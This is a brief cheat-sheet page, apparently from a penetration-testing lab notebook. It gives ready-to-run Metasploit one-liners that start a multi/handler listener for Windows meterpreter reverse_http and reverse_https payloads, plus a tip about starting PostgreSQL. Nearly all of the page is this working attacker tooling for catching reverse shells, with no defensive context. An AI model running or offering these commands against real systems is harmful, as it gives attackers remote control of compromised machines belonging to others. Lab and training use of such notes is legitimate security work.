Metasploit

Multi Handler One Liner. Change the LHOST, LPORT, and Payload as necessary.

sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_http; set LHOST 192.168.49.86; set LPORT 8080; exploit"
sudo msfconsole -q -x "use exploit/multi/handler;\
set PAYLOAD windows/x64/meterpreter/reverse_https;\
set LHOST 192.168.49.156; set LPORT 443; exploit"

In order to fix the UUID error below run sudo systemctl start postresql

Last updated